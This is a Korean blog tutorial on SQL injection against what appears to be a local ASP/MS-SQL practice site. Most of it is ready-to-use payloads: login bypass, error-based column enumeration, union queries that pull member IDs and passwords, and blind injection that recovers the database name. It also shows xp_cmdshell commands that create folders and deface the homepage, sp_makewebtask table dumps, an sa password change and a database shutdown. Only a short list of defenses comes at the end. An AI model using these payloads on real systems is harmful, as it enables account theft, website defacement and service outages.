웹/웹 보안

SQL Injection

비니화이팅 2018. 7. 21. 12:55

SQL Injection

이어서 SQL Injection에 대해서 알아보도록 하겠습니다.

SQL Injection은 말 그대로 SQL 쿼리를 이용하여 공격을 수행하는 것입니다.


SQL Injection이 가능한 조건은 두가지가 있습니다. 첫번째로는 input화면이 존재해야 하고 두번째로는 input Data가 DB와 연동되어 있어야 합니다.


SQL Injection에는 여러 유형이 있습니다. 하나하나 살펴보도록 하겠습니다.

1. 인증우회

관리자 로그인 화면이 타겟입니다. 만약 인증 우회가 안된다면 2.error based injection을 수행하도록 합니다.


정상적으로 로그인 한다면 쿼리문은 아래와 같이 됩니다.

Select * From member Where bId='admin' and bPass='sec123'


이를 우회해보도록 하겠습니다.

아래의 패턴을 이용하겠습니다.

' or 1=1 -- 

참고로  --는 주석이므로 --뒤에 오는 쿼리문들은 다 주석처리됩니다.


CASE 1) 아이디 또는 패스워드 한 가지만 알고 있는 경우

Select * From member Where bId='admin' and bPass='' or 1=1 --'


CASE2) 아이디 패스워드 둘 다 모를때

Select * From member Where bId='' or 1=1 --' and bPass='aaaa'


로그인된 화면입니다.


그런데 여기서 의문이 하나 생깁니다.

아이디와 패스워드를 둘다 모르는데 어떻게 admin계정 으로 로그인되었을까요?

이유는 위의 쿼리를 수행한 결과로 여러 행이 출력되는데 그 중 첫 번째 행으로 로그인되기 때문입니다.

첫번째 행에는 admin의 정보가 들어가 있습니다.

 

인증 우회시 주의할 점은 and조건으로 묶지 않고 따로따로 처리하는경우에는 인증우회가 되지 않습니다.

 


2. error based injection

error based injection은 에러를 통한 테이블 정보(DB명, Table명, 필드(컬럼)명)를 획득하는데 쓰입니다.

① 에러유도 ② 컬럼 알아내기의 순으로 진행됩니다.


① 에러유도

아래의 구문을 이용합니다.

' having 1=1 --


비밀번호는 아무거나 입력한 후 확인 버튼을 누릅니다.


이때 날라가는 SQL쿼리는 아래와 같습니다.

 Select * From member Where bId='' having 1=1 --' and bPass='aaaaa' 


그러면 아래와 같이 에러가 보입니다.

이 에러는 데이터베이스에서 나오는 에러가 그대로 브라우저에 출력되는 것 입니다.

  

공격자는 위의 에러를 보고 member테이블 안에 idx필드가 존재한다는 것을 알게됩니다.

member.idx 란 member테이블안에 idx필드를 의미합니다.


② 컬럼 알아내기

패턴은 아래와 같습니다. 반복하여 모든 칼럼명을 알아냅니다.

' group by idx --


group by는 사용할때 규칙이있습니다. group by뒤에 나오는 필드명과 Select from사이에 나오는 필드명이 같아야 합니다. 즉, 다르면 에러가 발생하는 데, 이를 이용하여 정보를 알아냅니다.


로그인 폼에 진행하도록 하겠습니다. 비밀번호는 아무렇게나 입력하면 됩니다.


아래의 SQL 쿼리가 날라갑니다. 위에서 말씀드렸듯이 group by뒤에 나오는 필드명(idx)과 Select from사이에 있는 필드명(*)이 다르므로 에러가 날 것입니다.

 Select * From member Where bId='' group by idx -- ' and bPass='aaaaa' 


오류를 통해 idx다음의 필드가 bId필드라는 것을 알아낼 수 있습니다.


이번에도 위의 패턴처럼 입력합니다.

' group by idx, bId --

 

 

아래의 SQL 쿼리가 날라갑니다.

 Select * From member Where bId='' group by idx, bId -- ' and bPass='aaaaa' 


에러메시지를 통해 다음 필드는 bPass라는 것을 알 수 있습니다.

 

 

이런식으로 그 다음 필드를 알아내서 에러가 안 날때까지 계속 합니다.

' group by idx, bid, bPass, bname, bPost, bAddr1, bAddr2, bPhone, bMail, bDate --



마침내 에러가 나지 않는 것을 보아 모든 필드를 알아낸 것으로 생각할 수 있습니다.

 

③ 로그인 후, 반복(BBS)

위에서는 로그인 페이지와 관련있는 테이블을 확인한 것입니다. 이번에는 게시판 페이지와 관련있는 테이블을 확인해보도록 하겠습니다.


having절을 이용합니다.

'having 1=1 --



having절을 통해 알아낸 정보를 이용하여 group by절을 이용합니다.

 

 

최종으로 알아낸 정보입니다.

' group by idx, tId, tName, tMail, tTitle, tContent, tfilename, tfilepath, tRead, tDate --


위에서 알아낸 정보들을 이용하여 3. union을 통한 중요정보 획득을 진행하도록 하겠습니다.

 


3. Union을 통한 중요정보 획득

2. error based injection에서 알아낸 member 테이블 정보입니다.

idx, bid, bPass, bname, bPost, bAddr1, bAddr2, bPhone, bMail, bDate

아래는 bbs 테이블 정보입니다.

idx, tId, tName, tMail, tTitle, tContent, tfilename, tfilepath, tRead, tDate

이를 이용하여 중요 정보를 획득해보도록 하겠습니다.


union 테이블을 합쳐주는 역할을 하는데 중복 필드가 있으면 하나만 출력합니다.

아래와 같은 패턴을 이용합니다.

' union select idx,bid,bpass,bname,bid,baddr1,baddr2,bphone,99, bdate from member --


위의 구문을 게시판에 검색해봅니다.

 

이때의 SQL 쿼리는 아래와 같습니다. 

Select * From bbs Where tTitle like '%' union select idx,bid,bpass,bname,bid,baddr1,baddr2,bphone,99, bdate from member --%'


검색된 내용을 살펴보면 아래와 같이 아이디와 패스워드를 확인할 수 있습니다.


왜 SQL Injection 패턴이 위에서 살펴본 거와 같을까요? 이제부터 그 이유를 설명해드리도록 하겠습니다.

해당 asp파일에 있는 쿼리문입니다.


keyword에 abc를 입력한다고 칩시다.

그렇다면 SQL 쿼리는 아래와 같이 만들어집니다.
bbs 테이블에서 tTitle(제목)이 abc인 행을 출력하라라는 뜻입니다.
%는 불특정갯수의 문자열을 나타냅니다. 따라서 abc인 문자열을 포함하는 결과를 출력하게됩니다.

 Select * From bbs Where tTitle like '%abc%'


이제 union구문을 알아보도록 하겠습니다.
union을 사용할 때는 2가지 규칙이 있습니다.

 1. 필드 갯수가 동일해야 한다.

 2. 각 필드 데이터 형식이 동일해야 한다.


아래의 사진을 보시면 bbs와 member테이블이 보입니다.
각 조건을 살펴보도록 하겠습니다.

 1. 필드 갯수가 동일해야 한다.

 -> bbs테이블과 member테이블의 필드 갯수가 10개로 동일하니 조건 만족


 2. 각 필드 데이터 형식이 동일해야 한다.
 -> bbs테이블의 tRead필드와 member테이블의 bMail필드의 데이터 형이 다르므로 조건 불만족

 

조건이 다르다면 공격 진행을 못할까요?

아닙니다. 데이터 형을 맞춰주면 됩니다.이미 Select * From bbs라고 개발자가 써놨으니 bbs테이블의 필드는 어찌할 수 없습니다. 따라서 member테이블의 필드를 bbs필드 데이터형식에 아래와 같이 맞춰줍니다.

 ' union select idx,bid,bpass,bname,bpost,baddr1,baddr2,bphone,99, bdate from member --


그렇다면 이렇게 공격은 성공할까요? 땡!

아래의 게시판을 봐주세요. 지금 보이는 컬럼들은 bbs의 idx, ttitle, tname, tdate, tread입니다.

여기에 매칭되는 member테이블의 내용이 게시판에 보여져야 합니다.

우리가 알아낼 것은 member테이블의 bid, bpass입니다.

bbs.tName은 member.bPass와 매칭되기 때문에 작성자 컬럼에 패스워드가 보여집니다. 그러나 member.bid는 bbs.tid와 매칭되지만 게시판에 bbs.tid칼럼은 나타나지 않으므로 보여지지 않습니다.

따라서 적절하게 수정해줍니다. 게시판에 보이는 bbs의 컬럼은 idx, ttitle, tname, tdate, tread이기 때문에 이 중의 하나와 member.bid가 매칭되도록 해줍니다. bbs.tName은 이미 member.bPass 매칭되니까 bbs.ttitle에 매칭되도록 해주어 최종적으로 아래와 같은 구문이 완성되어 아이디와 패스워드를 확안할 수 있었습니다.

' union select idx,bid,bpass,bname,bid,baddr1,baddr2,bphone,99, bdate from member --


위에서는 두번째 조건. 즉, 데이터 형식이 다를때 해결법을 말씀드렸습니다. 

만약에 첫번째 조건인 필드 갯수가 다르면 어떻게 해야 할까요?


간단합니다. ''로 빈 필드를 지정해주면 됩니다.

' union select idx,bid,bpass,bname,bid,baddr1,baddr2,bphone,99,'',bdate from member -- 



4. blind injection

3. Union을 통한 중요정보 획득에서는 에러메시지를 이용하여 공격을 진행했는데, 아래와 같이 에러 메세지가 자세히 보이지 않는다면 어떻게 해야 할까요?


이럴때는 blind injection 기법을 이용할 수 있습니다.


blind injection은 웹 사이트가 반환하는 True와 False를 이용하여 정보를 획득하는 기법입니다.

예를 들어보겠습니다.

CASE 1) 로그인

ID와 Password를 틀리지 않고 정확하게 입력하면 True를 반환하고,

ID와 Password가 틀렸다면 False를 반환합니다. (로그인 실패)

CASE 2) 게시판 검색

게시판에 검색한 내용이 있다면 True를 반환하고

게시판에 검색한 내용이 존재하지 않는다면 False를 반환합니다. (화면에 검색되는 내용이 없음)

이를 이용하여 정보를 획득할 수 있습니다.

 

직접 실습해보도록 하겠습니다.


① DB이름 알아내기

-> 길이 알아보기

아이디를 알고있다는 전제하에 DB 이름의 길이를 알아볼때 사용하는 패턴입니다.

admin' and (select len(db_name()))>3 --


여기서 len은 이름처럼 길이를 반환하는 함수입니다.

 

위의 패턴을 직접 넣어보겠습니다. 어짜피 패스워드는 주석처리 되기 때문에 아무거나 입력하셔도 상관없습니다.


이때 날아가는 쿼리는 아래와 같습니다.

 Select * From member Where bId = 'admin' and (select len(db_name()))>3 --' and bPass= 'aaaa' 



로그인이 된 것으로 보아 True임을 알 수 있습니다.

 

이번에는 4와 비교해보았습니다.

 

마찬가지로 로그인이 된 것으로 보아 True임을 알 수 있습니다. 


이번에는 5와 비교해보았습니다.


False를 반환하는 것으로 보아 해당 DB의 이름 길이는 5임을 알 수 있습니다.


-> 이름 알아보기

길이를 알아보았으니 이름은 무엇인지 알아보도록 합시다.

DB이름을 알아내는 패턴은 다음과 같습니다.

여기서 db_name()은 현재 DB이름을 불러오는 함수이고 substring은 특정한 문자열을 뽑아내는 역할을 합니다.

admin' and substring(db_name(),1,1)='a' --


이해를 돕기 위해 간단한 쿼리를 작성해보았습니다. 



위에서 본 패턴을 직접 쿼리에 넣어보겠습니다.

DB이름의 첫 번째 글짜가 b이기 때문에 True를 반환합니다.


직접 해봅시다. 편의상 바로 'b'로 비교했습니다.


이때 날아가는 쿼리는 아래와 같습니다.

Select * From member Where bId = 'admin' and substring(db_name(),1,1)='b' --' and bPass= 'aaaa' 


로그인이 된 것을 보아 첫번째 글자는 'b'임을 알아냈습니다.

 

이제 두번째 글자를 알아내봅시다.

아래의 구문을 넣어줍니다.

 admin' and substring(db_name(),2,1)='a' --


False를 반환하는 것으로 보아 두번째 글자는 'a'가 아닙니다. 


이번에도 편의상 바로 'o'와 비교했습니다.


True를 반환하는 것을 보아 두번째 글자는 'o'임을 알아냈습니다.

 

이런식으로 알아낸 길이만큼 글자를 알아내어 DB이름을 알아낼 수 있습니다.


참고

위에서는 로그인 페이지에서 진행했습니다. 이번에는 게시판에서 진행해보도록 하겠습니다.

우선 길이를 알아내는 패턴은 아래와 같습니다.

 xss%' and (select len(db_name()))>4 --


길이가 4보다 크다면 True가 반환되어 xss문자열을 포함한 게시글이 검색되어야 합니다.


검색된 것으로 보아 길이가 4보다 큰 것을 알 수 있습니다.


이번에는 5보다 큰지 비교해봅니다.


False가 반환된 것으로 보아 길이는 5임을 알 수 있습니다


이번에는 이름을 알아보겠습니다.

패턴은 아래와 같습니다.

 xss%' and substring(db_name(),1,1)='a' --


True가 반환된다면 xss문자열을 포함한 게시글이 검색되어야 합니다.

그러나 False가 반환되어 게시글이 검색되지 않는 것을 볼 수 있습니다.

즉, 첫번째 자리가 'a'가 아닙니다.

 

이번에는 True가 반한되었네요. 두번째 자리는 'b'입니다.

 

이런식으로 반복하여 DB이름을 알아낼 수 있습니다.



시스템 격 구문

 xp_cmdshell은 쉽게 말해 원격에서 MS-SQL 서버에 OS 등의 명령어를 실행시키도록 하는 프로시저입니다.

MS-SQL을 설치하면 만들어 집니다.

Windows server 2005부터는 보안 때문에 디폴트로 막혀있습니다.


이를 이용해서 공격을 진행해보도록 하겠습니다.
① 폴더 생성

아래의 구문을 이용합니다,

admin';exec master..xp_cmdshell 'md c:\inetpub\wwwroot\board\hacker'--

- admin : 계정을 알고 있을때 사용합니다. 사실 ;로 끝나는 것을 지정해주어 sql 구문과는 별개로 독립적으로 실행되기 때문에 아이디가 틀리든 말든 무조건 실행되기 때문에 아이디가 틀려도 상관 없습니다.

- exec : 여기서 부터는 DB에서 실행된다는 뜻 입니다.

- master.. : 데이터 베이스 이름입니다. ..은 이어 붙어야 합니다.
- md : 폴더를 만듭니다.

정리해보면 master데이터베이스 밑에 sb_cmdshell을 실행해라라는 뜻입니다.


직접 해봅시다.

 

윈도우 서버에서 확인해보면 실제로 c:\inetpub\wwwroot\board\디렉터리 밑에 hacker폴더가 생성된 것을 확인할 수 있습니다.


그렇다면 공격자는 실제로 폴더가 만들어진 것을 어떻게 확인할 수 있을까요?

일단 직접 접속해보고 에러를 확인해봅니다.


에러가 403입니다. 실제 폴더가 존재한다는 의미입니다.

만약 없다면 404가 뜹니다.

 


쿼리 분석기에서도 확인 해봅니다.

위에서 이미 만들어놨기 때문에 존재한다고 뜹니다.

 

 파일생성

이번에는 파일생성을 해보도록 하겠습니다.

';exec master..xp_cmdshell 'echo hacked by hacker > c:\inetpub\wwwroot\board\index.html'--

'hacked by hacker' 내용을 index.html에 저장하고 메인페이지로 설정하는 구문입니다.

직접 해봅시다. 이번에는 로그인 여부와 관계가 없기 때문에  아이디 입력을 안 했습니다.


일단 로그인이 실패했습니다.


그러나 직접 접속해보면 공격자가 만들어 놓은 파일을 볼 수 있습니다.

마찬가지로 파일이 만들어지지 않았으면 404가 뜰 것입니다.


참고로 이러한 공격을 디페이스(Deface) 공격이라고 합니다.

디페이스(Deface)는 웹 사이트의 첫 화면을 해커가 마음대로 바꾸는 공격입니다.


 HTML 페이지 생성

이번에는 sp_makewebtask을 사용해보도록 하겠습니다.

admin';exec master..sp_makewebtask 'c:\inetpub\wwwroot\board\sql.html','select * from board..member'--

board DB안의 member테이블을 조회하여 sql.html에 불러오는 구문입니다.


직접 해봅니다.


마찬가지로 일단 로그인이 안됩니다.


하지만 확인해보면 아래와 같이 쿼리결과가 보이는 것을 확인할 수 있습니다.

 

 DB 패스워드 변경

이번에는 sp_password를 사용해봅니다.

DB관리자의 비밀번호를 변경하는 구문입니다.

 ';exec sp_password 'oldPW','newPW','ID'--


현재 패스워드는 아래와 같이 111111이고 아이디는 sa입니다.


위의 구문을 직접 넣어봅니다.


일단 DB아이디와 패스워드가 틀렸기 때문에 아래와 같은 에러가 뜹니다.

 

다시 로그인을 시도해봅니다.

 

데이터베이스를 오픈하지 못했다는 에러가 뜹니다.

 

 다시 바꾸려면 직접 웹 서버의 쿼리 분석기에서 바꿔야 합니다.

 ';exec sp_password '222222','111111','sa'--


위에서 확인한 에러때문에  sp_password가 동작하지 않기 때문입니다.

 

 DB 다운(서비스 다운)

이번에는 shutdown을 이용하여 DB서버를 다운시켜보도록 하겠습니다.

 'shutdown--


현재 DB는 시작된 상태입니다.

 

shutdown을 해봅시다. 딜레이가 조금 있습니다. 

 

로그인을 시도해보니 500에러가 뜹니다.

500에러는 DB가 죽어있거나 접속을 할 수 없는 경우에 나오는 에러입니다.

db가 죽어잇거나 접속을 할 수 없는 경우에 나옴

 

다시 시작해주었습니다.

 


이번에는 보안대책을 알아보도록 하겠습니다.

보안대책
1. 입력창 길이제한 (사실상 별 의미가 없습니다 프록시 툴로 충분히 우회가 가능하기 때문입니다.)
2. 특수문자 필터링
3. ID/PW 별도 인증

4. 에러 처리

아래에서 설정이 가능합니다.

형식은 URL으로 내용은 /listHelp/common/(IIS 디폴트로 있는 디렉터리)로 되어있는 경우가 있는데, 자세한 오류를 출력해주기 때문에 보안상 취약합니다.응답코드를 보여주지 말고 직접 만들어 놓은 페이지가 보이도록 설정하는 것이 가장 좋습니다.